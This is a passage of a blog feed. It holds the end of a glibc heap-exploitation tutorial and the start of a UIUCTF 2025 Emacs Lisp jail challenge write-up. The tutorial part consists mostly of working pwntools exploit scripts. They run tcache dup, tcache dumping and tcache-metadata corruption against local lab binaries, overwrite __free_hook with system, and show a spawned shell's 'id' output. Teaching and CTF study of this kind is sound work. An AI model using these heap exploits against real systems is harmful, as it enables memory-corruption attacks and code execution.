</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook))
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_C)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="tcache-dumping">Tcache dumping</h2>
<p>When servicing a request from a fastbin, malloc will attempt to move as many remaining chunks in that fastbin that will fit into the corresponding tcachebin.</p>
<h3 id="solve">Solve</h3>
<p>There&rsquo;s now a check in <kbd>free</kbd> that ensures a chunk being freed isn&rsquo;t already in the target tcachebin, so we can&rsquo;t just do a simple tcache dup.
However, chunks that are dumped from a fastbin to a tcachebin are not subject to this check, so if we can corrupt a fastbin <kbd>fd</kbd> we should be in good shape.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_dup_2.31&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># fill tcache</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">7</span>):
</span></span><span style="display:flex;"><span>    malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#f78fe7">chr</span>(<span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;A&#39;</span>)<span style="color:#00d3d0">+</span>i)<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>chunk_H <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;H&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">7</span>):
</span></span><span style="display:flex;"><span>    free(i)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 fastbin: [chunk H]</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;I&#34;</span>)
</span></span><span style="display:flex;"><span>free(chunk_H)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 tcachebin: [chunk H] -&gt; ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 fastbin: [chunk H] -&gt; &amp;__free_hook</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> i <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">range</span>(<span style="color:#00bcff">6</span>):
</span></span><span style="display:flex;"><span>    malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#f78fe7">chr</span>(<span style="color:#f78fe7">ord</span>(<span style="color:#79a8ff">&#39;K&#39;</span>)<span style="color:#00d3d0">+</span>i)<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>chunk_R <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># dump rest of 0x20 fastbin to 0x20 tcachebin</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_R)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
<p>Normally we could just free a chunk a bunch of times to fill up the tcache, but we have a limited number of frees: what to do?
If we were dealing with other bins we&rsquo;d be in a tough situation, but the tcache stores its metadata on the heap, which is our domain!</p>
<p>We&rsquo;ll do most of our work in a single victim chunk, which we&rsquo;ll have two handles to: one &ldquo;alive&rdquo; pointer (with <kbd>in_use=1</kbd>) that we can read from and one &ldquo;dead&rdquo; pointer we can continuously call free on.
After setting that up we can leak the heap with a tcache dup, which results in our victim chunk pointing to itself.
Once we do that we can overwrite this pointer with the start of the <kbd>tcache</kbd> struct and call <kbd>malloc</kbd> twice to get a chunk that overlaps <kbd>tcache</kbd>.
We use this chunk to artificially mark the <code>0x240</code> tcachebin as being full (taking care to set the head pointer back to <kbd>tcache</kbd> so we can edit it again in the future); this allows us to free a chunk into the unsortedbin and get a libc leak.
Armed with our leaks, we can now request another <code>0x240</code> chunk to edit <kbd>tcache</kbd> again, and this time we set the head of the <code>0x240</code> tcachebin to point to the <kbd>__free_hook</kbd>.</p>
<p>An allocation and a <kbd>free</kbd> later and we have a shell!</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;tcache_troll&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()[:<span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>]
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>) <span style="color:#a8a8a8"># &#34;free&#34; handle</span>
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># padding</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>) <span style="color:#a8a8a8"># &#34;read&#34; handle</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [chunk A] -&gt; [chunk A] -&gt; ...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> unpack(read(chunk_C)) <span style="color:#00d3d0">-</span> (<span style="color:#00bcff">0x250</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [chunk A] -&gt; [&amp;heap+0x10]</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;DDDDDDDDDDD&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;heap+0x10]</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x07</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">29</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>)<span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;heap+0x10] (marked as full)</span>
</span></span><span style="display:flex;"><span>free(chunk_A)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A]</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> unpack(read(chunk_C)) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x60</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x07</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">29</span> <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>)<span style="color:#00d3d0">*</span><span style="color:#00bcff">34</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x240 tcachebin: [&amp;__free_hook] (marked as full)</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x240</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Note that non-fastbin chunks have additional metadata; see the <a href="https://elixir.bootlin.com/glibc/glibc-2.30/source/malloc/malloc.c#L1062-L1167">Glibc explanation</a> for more info.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>This is one of the OG heap exploits, used all the way back in 2000 to <a href="https://www.openwall.com/articles/JPEG-COM-Marker-Vulnerability">pwn Netscape</a>.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>We could also set this fake chunk&rsquo;s <kbd>fd</kbd> and <kbd>bk</kbd> pointers to point to itself instead of constructing a fake <kbd>victim-&gt;bk-&gt;fd</kbd> on the heap.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Note that it must be exactly 8, i.e. the AMP flags must be cleared&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Emacsjail]]></title>
    <link href="https://feyor.sh/writeups/emacsjail/"/>
    <id>https://feyor.sh/writeups/emacsjail/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-11-08T00:00:00+00:00</published>
    <updated>2025-12-24T13:31:45-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/emacsjail/"><![CDATA[<p><strong>Emacsjail</strong> was an Emacs Lisp jail challenge I wrote for UIUCTF 2025.
There were 17 solves during the competition, some of which were quite creative!</p>
<h2 id="description">Description</h2>
<blockquote>
<p>Mom, can we have SBCL?</p>
<p>No, we have SBCL at home.</p>
<p>SBCL at home:</p></blockquote>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span><span style="color:#a8a8a8">;;; -*- lexical-binding:t -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">check</span> (<span style="color:#00d3d0">input</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#00d3d0">not</span> (<span style="color:#00d3d0">string-match-p</span> <span style="color:#79a8ff">&#34;.*(.*).*&#34;</span> <span style="color:#00d3d0">input</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">panic</span> (<span style="color:#00d3d0">str</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">fmt</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">message</span> <span style="color:#00d3d0">str</span> <span style="color:#00d3d0">fmt</span>)
</span></span><span style="display:flex;"><span>  (<span style="color:#feacd0">kill-emacs</span>))
</span></span><span style="display:flex;"><span>
